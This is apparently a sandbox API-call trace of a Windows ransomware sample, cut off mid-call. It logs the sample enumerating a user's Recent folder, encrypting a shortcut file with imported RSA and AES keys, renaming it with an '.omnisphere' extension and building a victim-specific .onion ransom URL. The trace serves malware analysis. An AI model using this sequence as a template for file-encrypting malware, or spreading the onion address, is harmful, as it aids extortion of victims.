FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19d68482, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2309a1b9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2309a1b9, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x423, dwReserved0=0x0, dwReserved1=0xd3, cFileName="U8gDeJ.lnk", cAlternateFileName="")) returned 1 [0127.101] GetProcessHeap () returned 0x1600000 [0127.101] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x96) returned 0x167b448 [0127.101] PathCombineW (in: pszDest=0x167b448, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="U8gDeJ.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U8gDeJ.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U8gDeJ.lnk" [0127.101] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.101] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U8gDeJ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\u8gdej.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.102] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1059) returned 1 [0127.102] GetTickCount () returned 0x115fb73 [0127.102] GetTickCount () returned 0x115fb73 [0127.102] GetTickCount () returned 0x115fb73 [0127.102] GetTickCount () returned 0x115fb73 [0127.102] GetTickCount () returned 0x115fb73 [0127.102] GetTickCount () returned 0x115fb73 [0127.102] GetTickCount () returned 0x115fb73 [0127.102] GetTickCount () returned 0x115fb73 [0127.102] GetTickCount () returned 0x115fb73 [0127.102] GetTickCount () returned 0x115fb73 [0127.102] GetTickCount () returned 0x115fb73 [0127.102] GetTickCount () returned 0x115fb73 [0127.102] GetTickCount () returned 0x115fb73 [0127.102] GetTickCount () returned 0x115fb73 [0127.102] GetTickCount () returned 0x115fb73 [0127.102] GetTickCount () returned 0x115fb73 [0127.102] GetTickCount () returned 0x115fb73 [0127.102] GetTickCount () returned 0x115fb73 [0127.102] GetTickCount () returned 0x115fb73 [0127.102] GetTickCount () returned 0x115fb73 [0127.102] GetTickCount () returned 0x115fb73 [0127.102] GetTickCount () returned 0x115fb73 [0127.102] GetTickCount () returned 0x115fb73 [0127.103] GetTickCount () returned 0x115fb73 [0127.103] GetTickCount () returned 0x115fb73 [0127.103] GetTickCount () returned 0x115fb73 [0127.103] GetTickCount () returned 0x115fb73 [0127.103] GetTickCount () returned 0x115fb73 [0127.103] GetTickCount () returned 0x115fb73 [0127.103] GetTickCount () returned 0x115fb73 [0127.103] GetTickCount () returned 0x115fb73 [0127.103] GetTickCount () returned 0x115fb73 [0127.103] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669230) returned 1 [0127.103] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0127.103] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.104] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.104] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0127.104] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x423, lpName=0x0) returned 0x288 [0127.104] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x423) returned 0x1480000 [0127.104] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668570) returned 1 [0127.104] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16396a8) returned 1 [0127.104] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.105] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.106] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.107] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.107] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.107] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.107] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.107] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.107] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.107] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.107] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.107] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.107] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.107] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.107] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.107] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.107] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.107] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.107] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.107] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.107] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.107] CryptDestroyKey (hKey=0x16396a8) returned 1 [0127.107] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0127.107] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x423, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.107] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.108] GetProcessHeap () returned 0x1600000 [0127.108] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a6) returned 0x16eec30 [0127.108] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U8gDeJ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\u8gdej.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U8gDeJ.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\u8gdej.lnk.omnisphere")) returned 1 [0127.109] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U8gDeJ.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U8gDeJ.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U8gDeJ.lnk.omnisphere.id" [0127.109] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U8gDeJ.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\u8gdej.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.109] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.110] CloseHandle (hObject=0x3c0) returned 1 [0127.110] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.110] CloseHandle (hObject=0x288) returned 1 [0127.110] SetEndOfFile (hFile=0x28c) returned 1 [0127.111] FlushFileBuffers (hFile=0x28c) returned 1 [0127.117] CloseHandle (hObject=0x28c) returned 1 [0127.117] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U8gDeJ.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.117] GetProcessHeap () returned 0x1600000 [0127.117] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f18b8 [0127.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.117] GetProcessHeap () returned 0x1600000 [0127.117] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5aa0 [0127.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5aa0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.117] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.117] GetProcessHeap () returned 0x1600000 [0127.117] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d83e8 [0127.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d83e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.117] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.117] GetProcessHeap () returned 0x1600000 [0127.117] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d9788 [0127.117] PathCombineW (in: 